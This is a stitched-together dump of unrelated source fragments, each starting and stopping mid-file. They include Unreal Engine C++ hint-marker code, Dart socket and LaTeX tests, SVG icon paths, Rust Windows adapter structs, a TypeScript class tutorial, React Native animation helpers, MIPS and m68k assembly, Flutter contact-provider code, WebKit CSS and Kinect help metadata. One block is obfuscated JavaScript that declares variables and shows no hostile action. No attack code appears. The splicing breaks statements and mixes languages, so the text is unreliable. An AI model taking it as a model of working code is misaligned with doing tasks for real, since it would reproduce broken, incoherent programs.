		InKeyEvent,
		[this]() { ResetHintMarkersMultiWindow(); },
		[&SlateApp](const TSharedRef<SWidget>& Widget) {
			const TSharedPtr<SWindow> WidgetWin = SlateApp.FindWidgetWindow(Widget);
			if (WidgetWin.IsValid())
				FUMSlateHelpers::ActivateWindow(WidgetWin.ToSharedRef());

			FUMFocusHelpers::HandleWidgetExecutionWithDelay(SlateApp, Widget);
		});
}

void UVimNavigationEditorSubsystem::VisualizeHints(const TSharedRef<FUMHintWidgetTrieNode> Node)
{
	// Visualize all hint markers in the current node
	for (const TWeakPtr<SUMHintMarker>& Marker : Node->HintMarkers)
	{
		if (const TSharedPtr<SUMHintMarker> HM = Marker.Pin())
		{
			HM->VisualizePressedKey(true);
			PressedHintMarkers.Add(HM); // Track pressed hints
		}
	}
}

bool UVimNavigationEditorSubsystem::OnBackSpaceHintMarkers(const FKeyEvent& InKeyEvent)
{
	if (InKeyEvent.GetKey() == FKey(EKeys::BackSpace)
		&& !PressedHintMarkers.IsEmpty())
	{
		TArray<TWeakPtr<SUMHintMarker>> MarkersToRemove;

		for (const auto& WeakHintMarker : PressedHintMarkers)
		{
			if (const TSharedPtr<SUMHintMarker> HintMarker = WeakHintMarker.Pin())
			{
				HintMarker->VisualizePressedKey(false);
				if (HintMarker->PressedKeyIndex == 0)
					MarkersToRemove.Add(WeakHintMarker);
			}
			else // Remove invalid reference
				MarkersToRemove.Add(WeakHintMarker);
		}
		for (const auto& WeakHintMarker : MarkersToRemove)
			PressedHintMarkers.Remove(WeakHintMarker);

		// Walk backwards to the parent node
		if (const auto Parent = CurrentHintNode->Parent.Pin())
			CurrentHintNode = Parent;
		else
			CurrentHintNode = RootHintNode;

		return true;
	}
	return false;
}

void UVimNavigationEditorSubsystem::ResetHintMarkersCore()
{
	CurrentHintNode.Reset(); // Remove all references
	RootHintNode.Reset();	 // Destroy Trie
	PressedHintMarkers.Empty();
	FVimInputProcessor::Get()->Unpossess(this);
}

void UVimNavigationEditorSubsystem::ResetHintMarkers()
{
	ResetHintMarkersCore();
	// Remove the overlay from the window (if it was added)
	if (const TSharedPtr<SWindow> Win = HintOverlayData.AssociatedWindow.Pin())
	{
		if (const TSharedPtr<SUMHintOverlay> HintOverlay = HintOverlayData.HintOverlay.Pin())
		{
			Win->RemoveOverlaySlot(HintOverlay.ToSharedRef());
		}
	}
	HintOverlayData.Reset();
}

void UVimNavigationEditorSubsystem::ResetHintMarkersMultiWindow()
{
	ResetHintMarkersCore();
	// Remove each overlay from its window
	for (const FHintOverlayData& OverlayData : PerWindowHintOverlayData)
	{
		if (const TSharedPtr<SWindow> Win = OverlayData.AssociatedWindow.Pin())
		{
			if (const TSharedPtr<SUMHintOverlay> HintOverlay = OverlayData.HintOverlay.Pin())
			{
				Win->RemoveOverlaySlot(HintOver


 5; i++) {
    checkAction(runLatex(specName, tmpDirPath), "LaTeX on spec failed");
  }
  for (var i = 0; i < 5; i++) {
    checkAction(runLatex(hashFileName, tmpDirPath), "LaTeX on output failed");
  }
  if (chkDvi2tty(specDviPath, "spec") != chkDvi2tty(hashDviPath, "output")) {
    throw "dvi2tty spec != dvitty output";
  }
}

runWithTempDir(void test(String tempDir)) {
  final tempDir = Directory.systemTemp.createTempSync("addlatexhash_test");
  try {
    test(tempDir.path);
  }
  finally {
    tempDir.delete(recursive: true);
  }
}

main([args]) {
  testCutMatch();
  testSisp();

  runWithTempDir(testSameHash);
  // latex and dvi2tty are not installed in the standard test environment
  if (args.length > 0 && args[0] == "local") {
    runWithTempDir(testSameDVI);
  }
}
// Copyright (c) 2013, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
//
// VMOptions=
// VMOptions=--short_socket_read
// VMOptions=--short_socket_write
// VMOptions=--short_socket_read --short_socket_write

import "package:expect/expect.dart";
import "dart:io";

void main() {
  final int REQUEST_COUNT = 100;
  int count = 0;
  HttpServer.bind("127.0.0.1", 0).then((server) {
    server.listen((HttpRequest request) {
      count++;
      request.response.write(request.uri.path);
      request.response.close();
      if (request.uri.path == "/done") {
        request.response.done.then((_) {
            Expect.equals(REQUEST_COUNT + 1, count);
          server.close();
        });
      }
    });
    Socket.connect("127.0.0.1", server.port).then((s) {
      s.listen((data) { });
      for (int i = 0; i < REQUEST_COUNT; i++) {
        s.write("GET /$i HTTP/1.1\r\nX-Header-1: 111\r\n\r\n");
      }
      s.write("GET /done HTTP/1.1\r\nConnection: close\r\n\r\n");
      s.close();
    });
  });
}
// Copyright (c) 2013, the Dart project authors.  Please see the AUTHORS file
// for details. All rights reserved. Use of this source code is governed by a
// BSD-style license that can be found in the LICENSE file.
//
// VMOptions=
// VMOptions=--short_socket_read
// VMOptions=--short_socket_write
// VMOptions=--short_socket_read --short_socket_write

import 'dart:async';
import 'dart:io';

import "package:async_helper/async_helper.dart";
import "package:expect/expect.dart";

Future<int> runServer(int port, int connections, bool clean) {
  var completer = new Completer();
  HttpServer.bind("127.0.0.1", port).then((server) {
    int i = 0;
    server.listen((request) {
      request.pipe(request.response);
      i++;
      if (!clean && i == 10) {
        int port = server.port;
        server.close().then((_) => completer.complete(port));
      }
    });

    Future.wait(new List.generate(connections, (_) {
      var client = new HttpClient();
      return client.get("127.0.0.1", server.port, "/")
          .then((request) => request.close())
          .then((response) => response.drain())
          .catchError((e) { if (clean) throw e; });
    })).then((_) {


0,0,496,0H16A16,16,0,0,0,0,16V32A15.94,15.94,0,0,0,10.28,46.85L.07,158.55a16,16,0,0,0,9.65,16.09L.08,270.41a16,16,0,0,0,16,17.59H120V422.66a48,48,0,1,0,48,0V48H453.62l7.32,80H200v48H454.17l6.45,64H200v48H495.89a16,16,0,0,0,16-17.59l-9.64-95.77a16,16,0,0,0,9.65-16.09L501.72,46.85A15.94,15.94,0,0,0,512,32ZM51.38,240l6.45-64H120v64ZM120,128H51.06l7.32-80H120Z"],blog:[512,512,[],"f781","M208.8 96c-9.1-.7-16.8 7-16.8 16.2v16c0 8.6 6.8 15.3 15.4 15.8 85.3 5.9 153.2 75.3 160.4 160.7.7 8.5 7.3 15.2 15.8 15.2h16.2c9.1 0 16.8-7.7 16.2-16.8-8.3-110.4-96.7-198.9-207.2-207.1zm-.1-96C199.6-.4 192 7.2 192 16.3v16c0 8.6 6.8 15.3 15.4 15.8C345.6 55.8 457.2 166.4 464 304.5c.4 8.6 7.2 15.5 15.8 15.5h16c9.1 0 16.7-7.6 16.3-16.7C503.5 139.9 372.1 8.5 208.7 0zM137 224h-9c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h10.9c47 0 88 38.4 84.9 85.3-2.6 39.9-34.6 71.8-74.4 74.5C102.4 451 64 410 64 362.9V112c0-8.8-7.2-16-16-16H16c-8.8 0-16 7.2-16 16v249c0 82.6 66.5 153.7 149 150.9 75.4-2.6 136.3-63.5 138.9-138.9 2.9-82.5-68.3-149-150.9-149z"],bold:[384,512,[],"f032","M314.52 238.78A119.76 119.76 0 0 0 232 32H48a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h16v352H48a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h208a128 128 0 0 0 128-128c0-49.49-28.38-91.92-69.48-113.22zM128 80h88a72 72 0 0 1 0 144h-88zm112 352H128V272h112a80 80 0 0 1 0 160z"],bolt:[384,512,[],"f0e7","M377.8 167.9c-8.2-14.3-23.1-22.9-39.6-22.9h-94.4l28.7-87.5c3.7-13.8.8-28.3-7.9-39.7C255.8 6.5 242.5 0 228.2 0H97.7C74.9 0 55.4 17.1 52.9 37.1L.5 249.3c-1.9 13.8 2.2 27.7 11.3 38.2C20.


X_ADAPTER_ADDRESS_LENGTH],
    pub Index: win::DWORD,
    pub Type: UINT,
    pub DhcpEnabled: UINT,
    pub CurrentIpAddress: PIP_ADDR_STRING,
    pub IpAddressList: IP_ADDR_STRING,
    pub GatewayList: IP_ADDR_STRING,
    pub DhcpServer: IP_ADDR_STRING,
    pub HaveWins: win::BOOL,
    pub PrimaryWinsServer: IP_ADDR_STRING,
    pub SecondaryWinsServer: IP_ADDR_STRING,
    pub LeaseObtained: libc::time_t,
    pub LeaseExpires: libc::time_t,
}

pub type IP_ADAPTER_INFO = _IP_ADAPTER_INFO;
pub type PIP_ADAPTER_INFO = *mut _IP_ADAPTER_INFO;

const MAX_DHCPV6_DUID_LENGTH: usize = 130;
const MAX_DNS_SUFFIX_STRING_LENGTH: usize = 256;

pub type LPSOCKADDR = *mut libc::sockaddr;

#[repr(C)]
struct _SOCKET_ADDRESS {
    pub lpSockaddr: LPSOCKADDR,
    pub iSockaddrLength: INT,
}

pub type SOCKET_ADDRESS = _SOCKET_ADDRESS;
pub type PSOCKET_ADDRESS = *mut _SOCKET_ADDRESS;

#[repr(C)]
pub enum IP_PREFIX_ORIGIN {
    IpPrefixOriginOther = 0,
    IpPrefixOriginManual,
    IpPrefixOriginWellKnown,
    IpPrefixOriginDhcp,
    IpPrefixOriginRouterAdvertisement,
    IpPrefixOriginUnchanged = 16,
}

#[repr(C)]
pub enum IP_SUFFIX_ORIGIN {
    IpSuffixOriginOther = 0,
    IpSuffixOriginManual,
    IpSuffixOriginWellKnown,
    IpSuffixOriginDhcp,
    IpSuffixOriginLinkLayerAddress,
    IpSuffixOriginRandom,
    IpSuffixOriginUnchanged = 16,
}

#[repr(C)]
pub enum IP_DAD_STATE {
    IpDadStateInvalid = 0,
    IpDadStateTentative,
    IpDadStateDuplicate,
    IpDadStateDeprecated,
    IpDadStatePreferred,
}

#[repr(C)]
pub enum IF_OPER_STATUS {
    IfOperStatusUp = 1,
    IfOperStatusDown,
    IfOperStatusTesting,
    IfOperStatusUnknown,
    IfOperStatusDormant,
    IfOperStatusNotPresent,
    IfOperStatusLowerLayerDown,
}

#[repr(C)]
struct _IP_ADAPTER_UNICAST_ADDRESS {
    pub Length: ULONG,
    pub Flags: libc::DWORD,
    pub Next: *mut _IP_ADAPTER_UNICAST_ADDRESS,
    pub Address: SOCKET_ADDRESS,
    pub PrefixOrigin: IP_PREFIX_ORIGIN,
    pub SuffixOrigin: IP_SUFFIX_ORIGIN,
    pub DadState: IP_DAD_STATE,
    pub ValidLifetime: ULONG,
    pub PreferredLifetime: ULONG,
    pub LeaseLifetime: ULONG,
    pub OnLinkPrefixLength: UINT8,
}

pub type IP_ADAPTER_UNICAST_ADDRESS = _IP_ADAPTER_UNICAST_ADDRESS;
pub type PIP_ADAPTER_UNICAST_ADDRESS = *mut _IP_ADAPTER_UNICAST_ADDRESS;

#[repr(C)]
struct _IP_ADAPTER_ANYCAST_ADDRESS {
    pub Length: ULONG,
    pub Flags: libc::DWORD,
    pub Next: *mut _IP_ADAPTER_ANYCAST_ADDRESS,
    pub Address: SOCKET_ADDRESS,
}

pub type IP_ADAPTER_ANYCAST_ADDRESS = _IP_ADAPTER_ANYCAST_ADDRESS;
pub type PIP_ADAPTER_ANYCAST_ADDRESS = *mut _IP_ADAPTER_ANYCAST_ADDRESS;

#[repr(C)]
struct _IP_ADAPTER_MULTICAST_ADDRESS {
    pub Length


ombre: "Wolerine",
    poder: "Regeneración"
}

enviarMision( wolverine );
enviarCuartel( wolverine );

//Introduccion a las Clases de la POO

class Avenger {
    nombre: string = "Sin Nombre";
    equipo:string;
    nombreReal:string;
    puedePelar:boolean = false;
    peleasGanadas:number = 0;

    constructor(nombre:string, equipo:string, nombreReal:string){
        console.log("Se ejecutó el constructor");
        this.nombre = nombre;
        this.equipo =equipo;
        this.nombreReal = nombreReal;
    }
}

let antMan:Avenger = new Avenger("AntMan", "Cap", "Scott Lang");
console.log(antMan);
import Animated, { Value, cond, clockRunning, set, spring, startClock, stopClock, Clock, call, Easing, block, timing, debug, eq} from "react-native-reanimated";

export function runSpring(clock: Clock, value: Value<number>, velocity: Value<number>, dest: Animated.Node<number>, close:  Animated.Node<number>) {

    const state = {
      finished: new Value(0),
      velocity: new Value(0),
      position: new Value(0),
      time: new Value(0),
    };

    const config = {
      damping: 10,
      mass: 1,
      stiffness: 100,
      overshootClamping: false,
      restSpeedThreshold: 0.001,
      restDisplacementThreshold: 0.001,
      toValue: new Value(0),
    };

    return [
      cond(clockRunning(clock), 0, [
        set(state.finished, 0),
        set(state.velocity, velocity),
        set(state.position, value),
        set(config.toValue, dest),
        startClock(clock),
      ]),
      cond(eq(value, dest),[], spring(clock, state, config)),
      cond(state.finished, [
        stopClock(clock),
        close
      ]),
      state.position,
    ];
  }

  type TConfig = {
    duration: number,
    toValue: Animated.Value<number>,
    lastVal: Animated.Value<number>,
  }
  export function runTiming(clock: Animated.Clock) {
    return function ({
      duration,
      toValue,
      lastVal
    }: TConfig) {
      {
        const state = {
          finished: new Value(0),
          position: lastVal,
          time: new Value(0),
          frameTime: new Value(0),
        };

        const config = {
          duration,
          toValue: new Value(0),
          easing: Easing.inOut(Easing.ease),
        };

        return block([
          cond(
            clockRunning(clock),
            [
              // if the clock is already running we update the toValue, in case a new dest has been passed in
              set(config.toValue, toValue),
            ],
            [
              // if the clock isn't running we reset all the animation params and start the clock
              set(state.finished, 0),
              set(state.time, 0),
              set(state.position, lastVal),
              set(state.frameTime, 0),
              set(config.toValue, toValue),
              startClock(clock),
            ]
          ),
          // we run the step here that is going to update position
          timing(clock, state, config),
          //


/*  Part of SWI-Prolog

    Author:        Jan Wielemaker and Anjo Anjewierden
    E-mail:        J.Wielemaker@cs.vu.nl
    WWW:           http://www.swi-prolog.org
    Copyright (c)  2004-2020, University of Amsterdam
                              VU University Amsterdam
    All rights reserved.

    Redistribution and use in source and binary forms, with or without
    modification, are permitted provided that the following conditions
    are met:

    1. Redistributions of source code must retain the above copyright
       notice, this list of conditions and the following disclaimer.

    2. Redistributions in binary form must reproduce the above copyright
       notice, this list of conditions and the following disclaimer in
       the documentation and/or other materials provided with the
       distribution.

    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
    LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
    FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
    COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
    INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
    BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
    ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    POSSIBILITY OF SUCH DAMAGE.
*/

#include "pl-incl.h"

#ifndef _PL_GVAR_H
#define _PL_GVAR_H

#if USE_LD_MACROS
#define	freezeGlobal(_)		LDFUNC(freezeGlobal, _)
#define	gvar_value(name, p)	LDFUNC(gvar_value, name, p)
#endif /*USE_LD_MACROS*/

#define LDFUNC_DECLARATIONS

void	destroyGlobalVars(void);
void	freezeGlobal(void);
int	gvar_value(atom_t name, Word p);

#undef LDFUNC_DECLARATIONS

#endif /*_PL_GVAR_H*/


using Chuck.SilverFish;

namespace SilverFish.cards._01Basic._03Mage
{
    /// <summary>
    /// Fireblast
    ///
    /// </summary>
	class Sim_CS2_034 : SimTemplate
    {
        protected virtual int Damage { get; set; } = 1;

        /// <summary>
        /// Hero Power Deal 1 damage.
        /// Ӣۼ 1˺
        /// </summary>
        /// <param name="p"></param>
        /// <param name="ownplay"></param>
        /// <param name="target"></param>
        /// <param name="choice"></param>
        public override void onCardPlay(Playfield p, bool ownplay, Minion target, int choice)
        {
            int d


0 80ADAE60 27BD0018 */  addiu   $sp, $sp, 0x0018           ## $sp = 00000000
/* 01ED4 80ADAE64 03E00008 */  jr      $ra
/* 01ED8 80ADAE68 00000000 */  nop


       var qVY = Og;
                var JnY = Og;
                var kSY = HV;
                var rIY = AK;
                var nRY = L3[m4()[xx(mX)](EC, nt)]();
                var wrY = fX()[NHY(Fz)](YX, Ew);
                var gCY = wh[Ug];
                var EbY = [];
                var t9Y = [];
                var g1Y = Og;
                var JRY = [];
                var cNY = [];
                var YrY = [];
                var KIY = Og;
                var AIY = wh[jP];
                var XnY = fX()[NHY(Fz)](YX, Ew);
                var fRY = fX()[NHY(Fz)](YX, Ew);
                var knY = AAY(typeof fX()[NHY(dz)], 'undefined') ? fX()[NHY(wG)](ln, p0) : fX()[NHY(Fz)](YX, Ew);
                var N1Y = [];
                var ArY = K7(sm);
                var AFY = new llY();
                var FCY = K7(K7(sm));
                var H1Y = dK(N3, [n2()[g6Y(kW)](QX, K7([]), Rn, f8), Og, n3Y()[ssY(O2)](ln, g4), lYY(NG), n2()[g6Y(Uq)].call(null, VQ, Gf, Wq, zv), K7({}), fX()[NHY(mX)](LO, zf), undefined, kjY()[xjY(GL)](At, K7(NG), Uq, rR, bv, sQ), Og, m4()[xx(Eq)].apply(null, [Bx, kV]), K7([])]);
                var sQY = dK(N3, [n3Y()[ssY(mX)](kB, AJ), K7(K7(Up))]);
                var nbY = Oc(typeof fX()[NHY(LG)], 'undefined') ? fX()[NHY(Fz)](YX, Ew) : fX()[NHY(wG)].call(null, Lg, pJ);
                var DIY = Og;
                var AVY = wh[jP];
                var GQY = AAY(typeof fX()[NHY(mX)], WN('', [][[]])) ? fX()[NHY(wG)](O2, WV) : fX()[NHY(Fz)](YX, Ew);
                var xzY = wh[jP];
                var JIY = Og;
                var wnY = Og;
                var tkY = AAY(typeof fX()[NHY(NJ)], 'undefined') ? fX()[NHY(wG)](vF, HN) : fX()[NHY(Fz)](YX, Ew);
                var gVY = wh[jP];
                var A9Y = Og;
                var FNY = Og;
                var N9Y = fX()[NHY(Fz)].call(null, YX, Ew);
                var v9Y = Og;
                var GCY = Og;
                var GnY = wh[jP];
                var HrY = wh[jP];
                var sFY = Og;
                var UzY = Og;
                var gbY = M7;
                var JNY = HV;
                var IRY = GR;
                var qkY = wL;
                var qFY = wL;
                var nCY = wL;
                var InY = wL;
                var XbY = lYY(NG);
                var IFY = Og;
                var ZkY = Oc(typeof fX()[NHY(Eq)], WN([], [][[]])) ? fX()[NHY(Fz)](YX, Ew) : fX()[NHY(wG)](Ng, wP);
                var rQY = wL;
                var mNY = Og;
                var RVY


:"PG-WPD"},{id:"PG-WHM"},{id:"PG-SHM"},{id:"PG-NSB"},{id:"PG-GPK"},{id:"PG-EHG"},{id:"PG-CPK"},{id:"PG-SAN"},{id:"PG-MPM"},{id:"PG-ESW"},{id:"PG-EPW"}
AmCharts.maps.papuaNewGuineaLow={
	"svg": {
		"defs": {
			"amcharts:ammap": {
				"projection":"mercator",
				"leftLongitude":"140.8419695",
				"topLatitude":"-0.8713195",
				"rightLongitude":"155.5498046875",
				"bottomLatitude":"-11.6578607"
			}
        },
		"g":{
			"path":[
				{
					"id":"PG-WBK",
					"title":"West New Britain",
					"d":"M571.24,190.34L556.51,187.93L541.4,201.74L537.01,215.6L517.68,222.59L510.25,216.79L499.5,223.11L491.71,221.39L485.88,208.71L494.88,196.34L490.13,193.46L477.47,221.04L468.83,223.16L466.76,218.46L457.71,224.29L443.21,224.85L430.19,217.73L407.92,221.7L401.24,216.64L396.59,221.34L398.93,234.18L434.16,246.47L434.15,254.72L448.29,249.04L455.87,251.58L464.92,262.5L506.45,261.33L524.93,253.02L515.94,235.89L535.6,230.36L536.52,225.06L548.17,220.48L545.82,215.48L555.31,197.28L572.63,193.55L571.24,190.34z"
				},
				{
					"id":"PG-NPP",
					"title":"Northern",
					"d":"M377.33,352.81L325.25,352.6L357.11,379.58L352.73,398.84L375.76,422.55L381.47,437.26L421.28,457.46L430.06,455.73L429.04,448.07L430.99,443.1L455.72,437.82L441.25,426.92L448.16,407.22L409.46,409.44L402.05,388.62L390.65,382.2L386.25,355.03L377.33,352.81z"
				},
				{
					"id":"PG-NIK",
					"title":"New Ireland",
					"d":"M678.11,144.83L676.7,141.25L673.84,145.08L678.11,144.83zM624.38,98.5L624.23,89.58L620.21,89.24L618.15,93.37L624.38,98.5zM536.13,84.62L530.8,81.99L524.86,86.04L536.13,84.62zM589.55,76.68L585.26,71.54L585.4,78.88L589.55,76.68zM539.32,71.81L527.12,63.63L531.33,71.12L523.23,73.62L541.8,78.27L579.76,106.23L605.1,117.27L626.19,148.73L626.29,169.07L637.28,185.01L649.93,159.97L639.83,139.29L620.23,130.58L592.62,100.17L539.32,71.81zM496.35,54.51L481.95,59.49L493.55,70.01L508.4,68.79L507.82,59.85L496.35,54.51zM462.36,0L460.95,7.69L473.25,12.06L462.36,0z"
				},
				{
					"id":"PG-NCD",


  $10, $10, $4            # encoding: [0x21,0x50,0x44,0x01]
# CHECK: lw      $10, %lo(symbol)($10)   # encoding: [A,A,0x4a,0x8d]
# CHECK:                                 #   fixup A - offset: 0, value: symbol@ABS_LO, kind: fixup_Mips_LO16
# CHECK: lui     $1, %hi(symbol)         # encoding: [A,A,0x01,0x3c]
# CHECK:                                 #   fixup A - offset: 0, value: symbol@ABS_HI, kind: fixup_Mips_HI16
# CHECK: addu    $1, $1, $9              # encoding: [0x21,0x08,0x29,0x00]
# CHECK: sw      $10, %lo(symbol)($1)    # encoding: [A,A,0x2a,0xac]
# CHECK:                                 #   fixup A - offset: 0, value: symbol@ABS_LO, kind: fixup_Mips_LO16
# CHECK: lui     $10, 10                 # encoding: [0x0a,0x00,0x0a,0x3c]
# CHECK: addu    $10, $10, $4            # encoding: [0x21,0x50,0x44,0x01]
# CHECK: lw      $10, 123($10)           # encoding: [0x7b,0x00,0x4a,0x8d]
# CHECK: lui     $1, 2                   # encoding: [0x02,0x00,0x01,0x3c]
# CHECK: addu    $1, $1, $9              # encoding: [0x21,0x08,0x29,0x00]
# CHECK: sw      $10, 57920($1)          # encoding: [0x40,0xe2,0x2a,0xac]

    li $5,123
    li $6,-2345
    li $7,65538

    la $a0, 20
    la $7,65538
    la $a0, 20($a1)
    la $7,65538($8)

    lw  $t2, symbol($a0)
    sw  $t2, symbol($t1)

    lw  $t2, 655483($a0)
    sw  $t2, 123456($t1)


5
	cmpl	d5,d3
	bccs	0f
	movl	d3,d5
0:	jsr	a3@
	tstl	d0
	bnes	1f
	addl	#(255*512),a4
	addl	d5,d6
	subl	d5,d3
	bnes	rds1
1:	rts

m_bot:	.asciz	"xxboot: membot == 0x#\r\n"
m_top:	.asciz	"xxboot: memtop == 0x#\r\n"


ent;

  ApiClient([this._token]);

  @override
  Future<StreamedResponse> send(BaseRequest request) async {
    var response = await _client.send(
      request
        ..headers.addAll({
          HttpHeaders.userAgentHeader: _userAgent,
          HttpHeaders.acceptLanguageHeader: BuildInfo.locale,
          if (_token != null) HttpHeaders.authorizationHeader: 'bearer $_token',
          if (BuildInfo.isWeb)
            HttpHeaders.accessControlAllowOriginHeader: '$defaultUri',
          if (BuildInfo.isWeb)
            HttpHeaders.accessControlAllowCredentialsHeader: 'true',
          if (BuildInfo.isWeb)
            HttpHeaders.accessControlAllowHeadersHeader: 'Authorization',
        }),
    );

    if (response.statusCode ~/ 100 != 2) {
      final body = (await Response.fromStream(response)).body;
      throw ApiError(response.statusCode, body);
    }

    return response;
  }
}

class ApiError {
  final int statusCode;
  final String body;

  ApiError(this.statusCode, this.body);

  @override
  String toString() => '$statusCode $body';
}
import 'package:flutter/cupertino.dart';
import 'package:rxdart/rxdart.dart';
import 'package:sqlite_crdt/sqlite_crdt.dart';

import '../auth/auth_provider.dart';
import '../common/lists.dart';
import '../extensions.dart';

class ContactProvider {
  final String userId;
  final SqlCrdt _crdt;

  final _contacts = BehaviorSubject<Map<String, User>>();

  Stream<bool> get isNameSet => currentUser.map((e) => e.name.isNotEmpty);

  Stream<User> get currentUser => getUser(userId);

  ContactProvider(AuthProvider authProvider, this._crdt)
    : userId = authProvider.userId {
    _contacts.addStream(
      _crdt
          .watch('''
          SELECT * FROM users
          WHERE is_deleted = 0
        ''')
          .map((l) => l.map((m) => User.fromMap(userId, m)))
          .map((l) => {for (final u in l) u.id: u}),
    );
  }

  Future<void> setName(String name) async {
    final userExists = (await _contacts.first).containsKey(userId);
    if (!userExists) {
      await _crdt.execute(
        '''
        INSERT INTO users (id, name)
        VALUES (?1, ?2)
      ''',
        [userId, name.trim()],
      );
    } else {
      await _crdt.execute(
        '''
        UPDATE users SET name = ?2
        WHERE id = ?1
      ''',
        [userId, name.trim()],
      );
    }
  }

  Stream<User> getUser(String id) =>
      _contacts.map((m) => m[id] ?? User(userId, id, null));
}

class User extends IdObject {
  final String name;
  final bool isCurrentUser;

  User(String currentUserId, super.id, String? name)
    : name = name ?? '',
      isCurrentUser = currentUserId == id;

  User.fromMap(String userId, Map<String, dynamic> map)
    : this(userId, map['id'], map['name']);

  String nameOr(BuildContext context) =>
      name.isEmpty ? context.t.anonymous : name;

  @override
  String toString() => 'User: $name';
}
import 'package:app_links/app_links.dart';
import 'package:flutter/material.dart';
import 'package:flutter/scheduler.dart';
import 'package:flutter/services.dart';
import 'package:flutter_svg/svg.dart';

import '../common/appbars.dart';
import '../common/dialogs.dart';
import '../common/edit_list.dart';
import '../common/lists.dart';
import '../common/off


-color: hsl(0, 0%, 34%);
        border-bottom-color: var(--tab-item-border-color);

        background-image: none !important;
        background-color: hsl(0, 0%, 13%) !important;
    }

    body.window-inactive .tab-bar > .item {
        background-image: none !important;
        background-color: hsl(0, 0%, 13%) !important;
    }

    body.window-inactive .tab-bar > .item.selected {
        background-color: hsl(0, 0%, 19%) !important;
    }

    body.window-inactive .tab-bar > .item > .title {
        color: hsl(0, 0%, 58%) !important;
    }
}
/*
 * Copyright (C) 2015 Apple Inc. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
 * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 * THE POSSIBILITY OF SUCH DAMAGE.
 */

.content-browser.tab.content-view > .content-browser {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
}
/*
 * Copyright (C) 2015 Apple Inc. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
 * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
 * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
 * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 * THE POSSIBILITY OF SUCH DAMAGE.
 */

.details-section > .content > .group > .row.chart > .title {
    color: hsl(0, 0%, 22%);

    white-space: nowrap;
    overflow: hidden;
    text-align: c


: JointType Enumeration
KeywordK : JointType enumeration
KeywordK : WindowsPreview.Kinect.JointType enumeration
HelpPriority : 2
KeywordF : WindowsPreview.Kinect.JointType
KeywordF : JointType
KeywordF : WindowsPreview.Kinect.JointType
KeywordA : T:WindowsPreview.Kinect.JointType
AssetID : T:WindowsPreview.Kinect.JointType
Locale : en-us
CommunityContent : 1
APIType : Managed
APILocation : windowspreview.kinect.winmd
APIName : WindowsPreview.Kinect.JointType
TargetOS : Windows
TopicType : kbSyntax
DevLang : VB
DevLang : CSharp
DevLang : JavaScript
DevLang : C++
DocSet : K4Wv2
ProjType : K4Wv2Proj
Technology : Kinect for Windows
Product : Kinect for Windows SDK v2
productversion : 20
-->
